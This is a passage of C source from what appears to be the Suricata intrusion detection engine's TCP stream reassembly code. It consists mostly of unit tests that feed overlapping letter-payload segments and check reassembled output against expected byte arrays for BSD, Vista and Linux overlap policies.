SCMutexUnlock(&segment_pool_cnt_mutex);
#endif
return seg;
}
/**
* \brief Trigger RAW stream reassembly
*
* Used by AppLayerTriggerRawStreamReassembly to trigger RAW stream
* reassembly from the applayer, for example upon completion of a
* HTTP request.
*
* Works by setting a flag in the TcpSession that is unset as soon
* as it's checked. Since everything happens when operating under
* a single lock period, no side effects are expected.
*
* \param ssn TcpSession
*/
void StreamTcpReassembleTriggerRawReassembly(TcpSession *ssn)
{
#ifdef DEBUG
BUG_ON(ssn == NULL);
#endif
if (ssn != NULL) {
SCLogDebug("flagged ssn %p for immediate raw reassembly", ssn);
ssn->flags |= STREAMTCP_FLAG_TRIGGER_RAW_REASSEMBLY;
}
}
#ifdef UNITTESTS
/** unit tests and it's support functions below */
static uint32_t UtSsnSmsgCnt(TcpSession *ssn, uint8_t direction)
{
uint32_t cnt = 0;
StreamMsg *smsg = (direction == STREAM_TOSERVER) ?
ssn->toserver_smsg_head :
ssn->toclient_smsg_head;
while (smsg) {
cnt++;
smsg = smsg->next;
}
return cnt;
}
/** \brief The Function tests the reassembly engine working for different
* OSes supported. It includes all the OS cases and send
* crafted packets to test the reassembly.
*
* \param stream The stream which will contain the reassembled segments
*/
static int StreamTcpReassembleStreamTest(TcpStream *stream)
{
TcpSession ssn;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
uint8_t payload[4];
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 4096);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 4096);
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x41, 3, 4); /*AAA*/
p->tcph->th_seq = htonl(12);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x42, 2, 4); /*BB*/
p->tcph->th_seq = htonl(16);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x43, 3, 4); /*CCC*/
p->tcph->th_seq = htonl(18);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x44, 1, 4); /*D*/
p->tcph->th_seq = htonl(22);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x45, 2, 4); /*EE*/
p->tcph->th_seq = htonl(25);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x46, 3, 4); /*FFF*/
p->tcph->th_seq = htonl(27);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x47, 2, 4); /*GG*/
p->tcph->th_seq = htonl(30);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x48, 2, 4); /*HH*/
p->tcph->th_seq = htonl(32);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x49, 1, 4); /*I*/
p->tcph->th_seq = htonl(34);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4a, 4, 4); /*JJJJ*/
p->tcph->th_seq = htonl(13);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 4;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4b, 3, 4); /*KKK*/
p->tcph->th_seq = htonl(18);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4c, 3, 4); /*LLL*/
p->tcph->th_seq = htonl(21);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4d, 3, 4); /*MMM*/
p->tcph->th_seq = htonl(24);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4e, 1, 4); /*N*/
p->tcph->th_seq = htonl(28);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4f, 1, 4); /*O*/
p->tcph->th_seq = htonl(31);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x50, 1, 4); /*P*/
p->tcph->th_seq = htonl(32);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x51, 2, 4); /*QQ*/
p->tcph->th_seq = htonl(34);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x30, 1, 4); /*0*/
p->tcph->th_seq = htonl(11);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpReassembleFreeThreadCtx(ra_ctx);
SCFree(p);
return 1;
}
/** \brief The Function to create the packet with given payload, which is used
* to test the reassembly of the engine.
*
* \param payload The variable used to store the payload contents of the
* current packet.
* \param value The value which current payload will have for this packet
* \param payload_len The length of the filed payload for current packet.
* \param len Length of the payload array
*/
void StreamTcpCreateTestPacket(uint8_t *payload, uint8_t value,
uint8_t payload_len, uint8_t len)
{
uint8_t i;
for (i = 0; i < payload_len; i++)
payload[i] = value;
for (; i < len; i++)
payload = NULL;
}
/** \brief The Function Checks the reassembled stream contents against predefined
* stream contents according to OS policy used.
*
* \param stream_policy Predefined value of stream for different OS policies
* \param stream Reassembled stream returned from the reassembly functions
*/
int StreamTcpCheckStreamContents(uint8_t *stream_policy, uint16_t sp_size, TcpStream *stream)
{
TcpSegment *temp;
uint16_t i = 0;
uint8_t j;
#ifdef DEBUG
if (SCLogDebugEnabled()) {
TcpSegment *temp1;
for (temp1 = stream->seg_list; temp1 != NULL; temp1 = temp1->next)
PrintRawDataFp(stdout, temp1->payload, temp1->payload_len);
PrintRawDataFp(stdout, stream_policy, sp_size);
}
#endif
for (temp = stream->seg_list; temp != NULL; temp = temp->next) {
j = 0;
for (; j < temp->payload_len; j++) {
SCLogDebug("i %"PRIu16", len %"PRIu32", stream %"PRIx32" and temp is %"PRIx8"",
i, temp->payload_len, stream_policy[i], temp->payload[j]);
if (stream_policy[i] == temp->payload[j]) {
i++;
continue;
} else
return 0;
}
}
return 1;
}
/** \brief The Function Checks the Stream Queue contents against predefined
* stream contents.
*
* \param stream_contents Predefined value of stream contents
* \param stream Queue which has the stream contents
*
* \retval On success the function returns 1, on failure 0.
*/
static int StreamTcpCheckChunks (TcpSession *ssn, uint8_t *stream_contents)
{
SCEnter();
StreamMsg *msg;
uint16_t i = 0;
uint8_t j;
uint8_t cnt = 0;
if (ssn == NULL) {
printf("ssn == NULL, ");
SCReturnInt(0);
}
if (ssn->toserver_smsg_head == NULL) {
printf("ssn->toserver_smsg_head == NULL, ");
SCReturnInt(0);
}
msg = ssn->toserver_smsg_head;
while(msg != NULL) {
cnt++;
j = 0;
for (; j < msg->data_len; j++) {
SCLogDebug("i is %" PRIu32 " and len is %" PRIu32 " and temp is %" PRIx32 "", i, msg->data_len, msg->data[j]);
if (stream_contents[i] == msg->data[j]) {
i++;
continue;
} else {
SCReturnInt(0);
}
}
msg = msg->next;
}
SCReturnInt(1);
}
/* \brief The function craft packets to test the overlapping, where
* new segment stats before the list segment.
*
* \param stream The stream which will contain the reassembled segments and
* also tells the OS policy used for reassembling the segments.
*/
static int StreamTcpTestStartsBeforeListSegment(TcpStream *stream) {
TcpSession ssn;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
uint8_t payload[4];
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 4096);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 4096);
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x42, 1, 4); /*B*/
p->tcph->th_seq = htonl(16);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x44, 1, 4); /*D*/
p->tcph->th_seq = htonl(22);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x45, 2, 4); /*EE*/
p->tcph->th_seq = htonl(25);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x41, 2, 4); /*AA*/
p->tcph->th_seq = htonl(15);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4a, 4, 4); /*JJJJ*/
p->tcph->th_seq = htonl(14);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 4;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
SCLogDebug("sending segment with SEQ 21, len 3");
StreamTcpCreateTestPacket(payload, 0x4c, 3, 4); /*LLL*/
p->tcph->th_seq = htonl(21);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4d, 3, 4); /*MMM*/
p->tcph->th_seq = htonl(24);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
SCFree(p);
return 1;
}
/* \brief The function craft packets to test the overlapping, where
* new segment stats at the same seq no. as the list segment.
*
* \param stream The stream which will contain the reassembled segments and
* also tells the OS policy used for reassembling the segments.
*/
static int StreamTcpTestStartsAtSameListSegment(TcpStream *stream)
{
TcpSession ssn;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
uint8_t payload[4];
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 4096);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 4096);
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x43, 3, 4); /*CCC*/
p->tcph->th_seq = htonl(18);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x48, 2, 4); /*HH*/
p->tcph->th_seq = htonl(32);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x49, 1, 4); /*I*/
p->tcph->th_seq = htonl(34);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4b, 3, 4); /*KKK*/
p->tcph->th_seq = htonl(18);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4c, 4, 4); /*LLLL*/
p->tcph->th_seq = htonl(18);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 4;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x50, 1, 4); /*P*/
p->tcph->th_seq = htonl(32);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x51, 2, 4); /*QQ*/
p->tcph->th_seq = htonl(34);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
SCFree(p);
return 1;
}
/* \brief The function craft packets to test the overlapping, where
* new segment stats after the list segment.
*
* \param stream The stream which will contain the reassembled segments and
* also tells the OS policy used for reassembling the segments.
*/
static int StreamTcpTestStartsAfterListSegment(TcpStream *stream)
{
TcpSession ssn;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow f;
uint8_t payload[4];
TCPHdr tcph;
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 4096);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 4096);
memset(&ssn, 0, sizeof (TcpSession));
memset(&f, 0, sizeof (Flow));
memset(&tcph, 0, sizeof (TCPHdr));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
FLOW_INITIALIZE(&f);
f.protoctx = &ssn;
f.proto = IPPROTO_TCP;
p->src.family = AF_INET;
p->dst.family = AF_INET;
p->proto = IPPROTO_TCP;
p->flow = &f;
tcph.th_win = 5480;
tcph.th_flags = TH_PUSH | TH_ACK;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
StreamTcpCreateTestPacket(payload, 0x41, 2, 4); /*AA*/
p->tcph->th_seq = htonl(12);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x46, 3, 4); /*FFF*/
p->tcph->th_seq = htonl(27);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 3;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x47, 2, 4); /*GG*/
p->tcph->th_seq = htonl(30);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4a, 2, 4); /*JJ*/
p->tcph->th_seq = htonl(13);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 2;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4f, 1, 4); /*O*/
p->tcph->th_seq = htonl(31);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
StreamTcpCreateTestPacket(payload, 0x4e, 1, 4); /*N*/
p->tcph->th_seq = htonl(28);
p->tcph->th_ack = htonl(31);
p->payload = payload;
p->payload_len = 1;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx,&ssn, stream, p, &pq) == -1) {
SCFree(p);
return 0;
}
SCFree(p);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* before the list segment and BSD policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest01(void)
{
TcpStream stream;
uint8_t stream_before_bsd[10] = {0x4a, 0x4a, 0x4a, 0x4a, 0x4c, 0x4c,
0x4c, 0x4d, 0x4d, 0x4d};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_BSD;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsBeforeListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_before_bsd,sizeof(stream_before_bsd), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* at the same seq no. as the list segment and BSD policy is used
* to reassemble segments.
*/
static int StreamTcpReassembleTest02(void)
{
TcpStream stream;
uint8_t stream_same_bsd[8] = {0x43, 0x43, 0x43, 0x4c, 0x48, 0x48,
0x49, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_BSD;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAtSameListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_same_bsd, sizeof(stream_same_bsd), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* after the list segment and BSD policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest03(void)
{
TcpStream stream;
uint8_t stream_after_bsd[8] = {0x41, 0x41, 0x4a, 0x46, 0x46, 0x46,
0x47, 0x47};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_BSD;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAfterListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_after_bsd, sizeof(stream_after_bsd), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly engine for all the case
* before, same and after overlapping and BSD policy is used to
* reassemble segments.
*/
static int StreamTcpReassembleTest04(void)
{
TcpStream stream;
uint8_t stream_bsd[25] = {0x30, 0x41, 0x41, 0x41, 0x4a, 0x4a, 0x42, 0x43,
0x43, 0x43, 0x4c, 0x4c, 0x4c, 0x4d, 0x4d, 0x4d,
0x46, 0x46, 0x46, 0x47, 0x47, 0x48, 0x48, 0x49, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_BSD;
StreamTcpInitConfig(TRUE);
if (StreamTcpReassembleStreamTest(&stream) == 0) {
printf("failed in segments reassembly: ");
return 0;
}
if (StreamTcpCheckStreamContents(stream_bsd, sizeof(stream_bsd), &stream) == 0) {
printf("failed in stream matching: ");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* before the list segment and VISTA policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest05(void)
{
TcpStream stream;
uint8_t stream_before_vista[10] = {0x4a, 0x41, 0x42, 0x4a, 0x4c, 0x44,
0x4c, 0x4d, 0x45, 0x45};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_VISTA;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsBeforeListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_before_vista, sizeof(stream_before_vista), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* at the same seq no. as the list segment and VISTA policy is used
* to reassemble segments.
*/
static int StreamTcpReassembleTest06(void)
{
TcpStream stream;
uint8_t stream_same_vista[8] = {0x43, 0x43, 0x43, 0x4c, 0x48, 0x48,
0x49, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_VISTA;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAtSameListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_same_vista, sizeof(stream_same_vista), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* after the list segment and BSD policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest07(void)
{
TcpStream stream;
uint8_t stream_after_vista[8] = {0x41, 0x41, 0x4a, 0x46, 0x46, 0x46,
0x47, 0x47};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_VISTA;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAfterListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_after_vista, sizeof(stream_after_vista), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly engine for all the case
* before, same and after overlapping and VISTA policy is used to
* reassemble segments.
*/
static int StreamTcpReassembleTest08(void)
{
TcpStream stream;
uint8_t stream_vista[25] = {0x30, 0x41, 0x41, 0x41, 0x4a, 0x42, 0x42, 0x43,
0x43, 0x43, 0x4c, 0x44, 0x4c, 0x4d, 0x45, 0x45,
0x46, 0x46, 0x46, 0x47, 0x47, 0x48, 0x48, 0x49, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_VISTA;
StreamTcpInitConfig(TRUE);
if (StreamTcpReassembleStreamTest(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_vista, sizeof(stream_vista), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* before the list segment and LINUX policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest09(void)
{
TcpStream stream;
uint8_t stream_before_linux[10] = {0x4a, 0x4a, 0x4a, 0x4a, 0x4c, 0x4c,
0x4c, 0x4d, 0x4d, 0x4d};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_LINUX;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsBeforeListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_before_linux, sizeof(stream_before_linux), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* at the same seq no. as the list segment and LINUX policy is used
* to reassemble segments.
*/
static int StreamTcpReassembleTest10(void)
{
TcpStream stream;
uint8_t stream_same_linux[8] = {0x4c, 0x4c, 0x4c, 0x4c, 0x48, 0x48,
0x51, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_LINUX;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAtSameListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_same_linux, sizeof(stream_same_linux), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
* after the list segment and LINUX policy is used to reassemble
* segments.
*/
static int StreamTcpReassembleTest11(void)
{
TcpStream stream;
uint8_t stream_after_linux[8] = {0x41, 0x41, 0x4a, 0x46, 0x46, 0x46,
0x47, 0x47};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_LINUX;
StreamTcpInitConfig(TRUE);
if (StreamTcpTestStartsAfterListSegment(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_after_linux, sizeof(stream_after_linux), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly engine for all the case
* before, same and after overlapping and LINUX policy is used to
* reassemble segments.
*/
static int StreamTcpReassembleTest12(void)
{
TcpStream stream;
uint8_t stream_linux[25] = {0x30, 0x41, 0x41, 0x41, 0x4a, 0x4a, 0x42, 0x43,
0x43, 0x43, 0x4c, 0x4c, 0x4c, 0x4d, 0x4d, 0x4d,
0x46, 0x46, 0x46, 0x47, 0x47, 0x48, 0x48, 0x51, 0x51};
memset(&stream, 0, sizeof (TcpStream));
stream.os_policy = OS_POLICY_LINUX;
StreamTcpInitConfig(TRUE);
if (StreamTcpReassembleStreamTest(&stream) == 0) {
printf("failed in segments reassembly!!\n");
return 0;
}
if (StreamTcpCheckStreamContents(stream_linux, sizeof(stream_linux), &stream) == 0) {
printf("failed in stream matching!!\n");
return 0;
}
StreamTcpFreeConfig(TRUE);
return 1;
}
/** \brief The Function to test the reassembly when new segment starts
